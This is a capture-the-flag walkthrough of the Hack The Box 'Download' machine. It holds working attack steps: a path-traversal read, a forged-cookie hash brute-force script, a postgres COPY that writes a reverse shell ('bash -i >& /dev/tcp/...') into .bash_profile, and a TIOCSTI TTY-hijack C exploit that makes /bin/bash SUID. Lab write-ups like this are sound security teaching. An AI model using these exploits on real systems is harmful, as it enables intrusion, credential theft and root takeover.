Skip to main content
  1. Posts/

Download - HTB

·14 mins
htb
Table of Contents

We begin with a port scan:

╰─ nmap -sC -sV 10.129.140.87             
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-08 20:59 EDT
Nmap scan report for 10.129.140.87
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
|   256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_  256 e6:ff:77:94:12:40:7b:06:a2:97:7a🇩🇪14:94:5b:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds

We see that we are being redirected to download.htb on port 80, so let’s add that to our hosts file and look at the site in our browser:

img

After making an account we can upload a file and we will notice some session cookies being made that are base64 encoded:

img

Decoding this cookie shows us the following:

╰─ echo "eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiZ2FiZWN0ZiJ9fQ==" | base64 -d
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":16,"username":"gabectf"}}

After uploading the file we see the following on our home page:

img

We see some interesting stuff when we examine the download function in Burp Suite:

img

It looks like we can download the file just based off of some long name it generates for that file. We see the contents of the text file in the server’s response.

Before poking around too much, we can enumerate some of the technologies running on the site by using Wappalyzer or whatweb:

╰─ whatweb http://download.htb     
http://download.htb [200 OK] Bootstrap, Cookies[download_session,download_session.sig], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[download_session,download_session.sig], IP[10.129.155.103], Script, Title[Download.htb - Share Files With Ease], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]

The site is using Express, which is a web application framework that runs on top of Node.js. Useful information but not too much use for it at the moment.

We can try some basic LFI payloads like ../ and ....//. When we URL encode the slash and try ..%2f, we can read some files. I opted to look for app.js because it was one of the examples in this blog post when I was looking around for common file names. I also found a post on stackoverflow on common file structures.

img

Let’s examine this file a bit more closely:

"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

There is a lot to dig through here but I’ll try to keep the less-relevant information brief.

We see a bunch of imports for different dependencies, then we see some constants defined shortly afterward. The prisma client and port number seem interesting but I’ll put them on the backburner for now. We also see a bunch of routes on the site as well as a function looking for a specific connection over that port we saw near the beginning of the file.

The really interesting thing we get here is where the app variable is initialized. We get to see a secret key for signing the cookies:

app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));

Here, the cookie_session middleware creates our download_session cookie and it is signed with a secret key.

At this point, I am not super sure where to go so I decided to enumerate further through the routes we see declared in this app.js file.

After looking around, we see a couple interesting files: /routers/files.js, /routers/auth.js, and package.json.

LFI Root Cause ~ files.js Analysis
#

There is one function in this file, /download/:fileID that causes the vulnerability. It is shown below.

router.get("/download/:fileId", async (req, res) => {
    const fileEntry = await client.file.findFirst({
        where: { id: req.params.fileId },
        select: {
            name: true,
            private: true,
            authorId: true,
        },
    });

The file ID is passed through to the URL as a parameter, and there is literally no validation here.

To fix this vulnerability, you need to verify the file ID before using it to open the file. One way you could implement this is by using the user’s session to search for the file, and if they don’t have access to it, it shouldn’t be an issue.

If we take a look at auth.js we see some interesting pieces of information that might help us out.

const hashPassword = (password) => {
    return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};

Passwords are hashed with MD5 but aren’t salted at all, which means if we can get the hash for an admin user, we might be able to crack it.

But wait, there’s more!

router.post("/login", async (req, res) => {
    const result = LoginValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your login details were invalid, please try again.");
        return res.redirect("/auth/login");
    }
    const data = result.data;
    const user = await client.user.findFirst({
        where: { username: data.username, password: hashPassword(data.password) },
    });
    if (!user) {
        res.flash("error", "That username / password combination did not exist.");
        return res.redirect("/auth/register");
    }
    req.session.user = {
        id: user.id,
        username: user.username,
    };
    res.flash("success", "You are now logged in.");
    return res.redirect("/home/");
});

This login function is important because it doesn’t use the randomly generated token when actually authenticating the user. We also know that the app is using the Prisma API.

Specifically, the findFirst query will return the entire object if we match part of the username and part of the password.

Thankfully, the package.json file has just that:

---SNIP---
  "keywords": [],
  "author": "wesley",
  "license": "ISC",
  "dependencies": {
    "@prisma/client": "^4.13.0",
    "cookie-parser": "^1.4.6",
    "cookie-session": "^2.0.0",
    "express": "^4.18.2",
    "express-fileupload": "^1.4.0",
    "zod": "^3.21.4"
  },
---SNIP---

Baking Evil Cookies
#

At this point, I was super confused until I took a step back and looked at the pieces and how we could use them together. This is why I think the machine was moved from medium difficulty to hard after release, because it is difficult to see all these things together. (In my opinion, but I’m no 1337 web master. At least not at the time of writing this.)

Let’s get a high-level overview of what we’ve got to work with so far:

  • We have the secret key from app.js that is used to sign download session cookies.
  • We know that the auth.js logic will allow us to verify whether or not an account and hash combination exists.
    • We know the password hash is unsalted MD5
    • We know from package.json that there could be a user named wesley

So, we can try make our own cookie that uses the prisma API to check if the username and hash are correct, then sign it, and try passing it along to see what the reply gives us.

When making and signing NodeJS Express cookies, HackTricks recommends the use of a tool called cookie-monster.

Once we’ve installed everything we need to use the tool, we need to make our cookie.json file that will test the first character of wesley’s hash:

{"user":{"username":{"contains": "wesley"}, "password":{"startsWith":"a"}}}

We can then use cookie-monster like so to make our download_session cookie:

╰─ ./cookie-monster/bin/cookie-monster.js -e -f cookie.json -k 8929874489719802418902487651347865819634518936754                    
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /

[+] Data Cookie: session=eyJ1c2VyIjp7InVzZXJuYW1lIjp7ImNvbnRhaW5zIjoid2VzbGV5In0sInBhc3N3b3JkIjp7InN0YXJ0c1dpdGgiOiJhIn19fQ==
[+] Signature Cookie: session.sig=3T_LVp_tMx7eYua1P1bGMbqQQSo

We use -e to encode the data from the cookie.json file, using the -k flag to use the signature key we found earlier.

We can then try to see what happens with different values in the password field of the cookie.

For reference, here is a legitimate request from the account I made looking at the /home endpoint:

img

Note: I did remove the If-None-Match: data from this GET request. Otherwise, it will return a 304-Unchanged response.

We can try the same thing with our new cookies:

img

It redirects us to the login page. If you continue going through the alphabet, eventually when you arrive at f, you’ll see the following:

img

If you continue this strategy, you’ll find that getting the next character in the password hash also gives us this same page. We can write a python script to automate this process:

import string
import requests
import json
import requests
import subprocess

#password variable
password = ''

# possible chars
chars = "abcdef0123456789"

# temp variable.
test = ''

# make the jwt.
def generate(c):
    # make the cookie.json file with our password variable
    query = {"user":{"username":{"contains": "WESLEY"}, "password":{"startsWith":c}}}

    
    with open("cookie.json","w") as f:
        f.write(json.dumps(query))

    # have cookie-monster.js make our signed cookies
    output = subprocess.check_output(["./cookie-monster.js", "-e", "-f", "cookie.json", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode().replace("\n"," ")

    # split the output.
    jwt = output.split("download_session=")[1]
    jwt = jwt.split(" ")[0]
    jwt = jwt.split("\x1b")[0]
    sig = output.split("download_session.sig=")[1]
    sig = sig.split("\x1b")[0]

    # return the clean values
    return jwt,sig

# iterate through the charactrers and brute force
for i in range(32):
    
    for c in chars:
        
        test = password + c

        jwt, sig = generate(test)

        
        cookie = {"download_session": jwt, "download_session.sig": sig}

        
        r = requests.get('http://download.htb/home/', cookies=cookie)

        
        if len(r.text) != 2174:
            print(f"Found char: {c}")

            password += c

            print(password)

            break

print(password)

Running this will get us the password hash for the wesley user:

╰─ python3 gethash.py
Found char: f
f
Found char: 8
f8
Found char: 8
f88
Found char: 9
f889
---SNIP---

You can crack this with hashcat or john, but crackstation worked just fine:

img

Alternatively, you can brute force the login page because the password is in a few common wordlists.

We can log into SSH as wesley and get our user flag:

wesley@download:~$ ls
user.txt

After submitting our user flag, we can start to enumerate for privilege escalation vectors. I opted to first run linPEAS to see what we could find and we see some hints towards postgresql:

---SNIP---
[+] Looking for root files in home dirs (limit 20)
/home
/home/wesley/.bash_history
/home/wesley/user.txt
/home/wesley/.psql_history
---SNIP---

We can look at the processes using pspy and see some interesting processes run by root that have to do with postgresql:

2023/08/14 00:59:27 CMD: UID=0    PID=9458   | /bin/sh /usr/bin/lesspipe 
2023/08/14 00:59:27 CMD: UID=0    PID=9459   | /bin/sh /usr/bin/lesspipe 
2023/08/14 00:59:27 CMD: UID=0    PID=9460   | 
2023/08/14 00:59:27 CMD: UID=0    PID=9464   | /bin/bash -i ./manage-db 
2023/08/14 00:59:27 CMD: UID=0    PID=9466   | /bin/sh /usr/bin/lesspipe 
2023/08/14 00:59:27 CMD: UID=0    PID=9471   | systemctl status postgresql 
2023/08/14 00:59:27 CMD: UID=0    PID=9472   | systemctl status download-site 
2023/08/14 00:59:27 CMD: UID=0    PID=9473   | su -l postgres 
2023/08/14 00:59:27 CMD: UID=113  PID=9474   | -bash 
2023/08/14 00:59:27 CMD: UID=113  PID=9478   | -bash 
2023/08/14 00:59:32 CMD: UID=113  PID=9480   | /usr/bin/perl /usr/bin/psql 
2023/08/14 00:59:32 CMD: UID=113  PID=9481   | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql 
2023/08/14 00:59:32 CMD: UID=113  PID=9487   | /lib64/ld-linux-x86-64.so.2 /usr/lib/postgresql/12/bin/psql 
2023/08/14 00:59:32 CMD: UID=113  PID=9486   | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql 
2023/08/14 00:59:32 CMD: UID=113  PID=9485   | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql 
2023/08/14 00:59:32 CMD: UID=113  PID=9488   | postgres: 12/main: postgres postgres [local] idle                                                                         
2023/08/14 01:00:02 CMD: UID=0    PID=9490   | /lib/systemd/systemd-udevd 
2023/08/14 01:01:02 CMD: UID=0    PID=9495   | /usr/sbin/sshd -D -R 
2023/08/14 01:01:02 CMD: UID=0    PID=9498   | /lib/systemd/systemd-udevd 

It looks like there are a good amount of services being run by root, we can look in the /etc/systemd/system/ to examine these in more detail:

wesley@download:/etc/systemd/system$ ls -l
total 72
drwxr-xr-x 2 root root 4096 Jul 19 15:35 cloud-init.target.wants
---SNIP---
lrwxrwxrwx 1 root root   36 Apr 20 14:57 dbus-org.freedesktop.thermald.service -> /lib/systemd/system/thermald.service
lrwxrwxrwx 1 root root   45 Apr 23  2020 dbus-org.freedesktop.timesync1.service -> /lib/systemd/system/systemd-timesyncd.service
drwxr-xr-x 2 root root 4096 Jul 19 15:35 default.target.wants
-rw-r--r-- 1 root root  357 Apr 21 15:36 download-site.service
drwxr-xr-x 2 root root 4096 Jul 19 15:35 emergency.target.wants
drwxr-xr-x 2 root root 4096 Jul 19 15:35 getty.target.wants
drwxr-xr-x 2 root root 4096 Jul 19 15:35 graphical.target.wants
---SNIP---

In the pspy output, we see download-site get executed and immediately root switches users to postgres to presumably make some changes to a database or clean it up. Taking a look at this service reveals some interesting info:

wesley@download:/etc/systemd/system$ cat download-site.service 
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:Co**********************on@localhost:5432/download"

[Install]
WantedBy=multi-user.target

We’ve got a password for the postgresql database. We can log into it with psql like this:

wesley@download:~$ psql -h localhost -p 5432 -U download
Password for user download: 
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

download=> 

We can enumerate the privileges for the download user by using the \du flag:

                                          List of roles
 Role name |                         Attributes                         |        Member of        
-----------+------------------------------------------------------------+-------------------------
 download  |                                                            | {pg_write_server_files}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

We see that we have the pg_write_server_files permission, which means that we can use the COPY command to write new files. You can read more about this on Hacktricks.

So we can write files as postgres user, and every now and again root runs su -l to run these services. This is important to keep in mind because using -l will initiate a login sequence. This means that when root switches over to that other user, files like bash_profile will be used when setting up the new shell environment.

Knowing this, we use our file writing privilege to make changes to the bash_profile file and get some code executed as postgres. We can run this command in psql:

COPY (SELECT CAST('bash -i >& /dev/tcp/10.10.14.184/7777 0>&1' AS text)) TO '/var/lib/postgresql/.bash_profile';

On our listener we do get a shell:

╰─ nc -lvp 7777       
listening on [any] 7777 ...
connect to [10.10.14.184] from download.htb [10.129.143.15] 42942
postgres@download:~$ id
id
uid=113(postgres) gid=118(postgres) groups=118(postgres),117(ssl-cert)
postgres@download:~$ 

After maybe a minute or so, the shell dies. Probably because root switches users again, restraining our access.

If we use the w command to view current sessions on the system, we see that root is logged in and the TTY (terminal) he is logged into:

wesley@download:/$ w
 01:30:02 up 41 min,  5 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
wesley   pts/0    10.10.14.184     00:50    2:28   0.06s  0.03s /usr/lib/postgresql/
wesley   pts/2    10.10.14.184     00:51    0.00s  0.02s  0.00s w
root     pts/4    127.0.0.1        01:29   14.00s  0.03s  0.02s /usr/lib/postgresql/

So root is is running su every few minutes and has their own TTY each time. If we do some light googling we find a nifty article about how we could hijack their TTY: # su/sudo from root to another user allows TTY hijacking and arbitrary code execution.

The vulnerability occurs because su and sudo change the UID of the executed process to the non-root user, but the (pseudo) terminal is still that of the root user. The current terminal of a program is always accessible through /dev/tty. By opening this device as non-root user and then using the TIOCSTI ioctl(2) to fake user input on that terminal, the user can inject commands in the terminal.

We can take the Proof-Of-Concept from the article and modify it to make /bin/bash a SUID program:

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
    int fd = open("/dev/tty", O_RDWR);
    if (fd < 0) {
        perror("open");
        return -1;
    }
    char *x = "exit\n/bin/bash -c 'chmod u+s /bin/bash'\n";
    while (*x != 0) {
        int ret = ioctl(fd, TIOCSTI, x);
        if (ret == -1) {
            perror("ioctl()");
        }
        x++;
    }
    return 0;
}

Compile this code into a binary on your system, I used -static to include all the libraries if needed:

╰─ gcc exploit.c -o exploit -static 

Note: make sure to chmod+x your exploit once you put it in the /tmp directory

Then we can go ahead and copy our exploit into the bash_profile file using psql and just wait until /bin/bash is made into a SUID program:

#our psql shell:
download=> COPY (SELECT CAST('/tmp/exploit' AS text)) TO '/var/lib/postgresql/.bash_profile';

Then we check to see if it worked:

wesley@download:/tmp$ ls -la ../../bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 ../../bin/bash
wesley@download:/tmp$ ls -la ../../bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 ../../bin/bash

Then just open a new bash shell and you’ve got root!

Related

Gofer - HTB
·17 mins
htb
As always, we can begin with a port scan: ╰─ nmap -sC -sV 10.
Authority - HTB
·14 mins
htb
We can begin with a port scan as usual: ╰─ nmap -sC -sV 10.
Sau - HTB
·6 mins
htb
As always, we begin with a port scan: ╰─ nmap -sC -sV 10.129.186.83 Starting Nmap 7.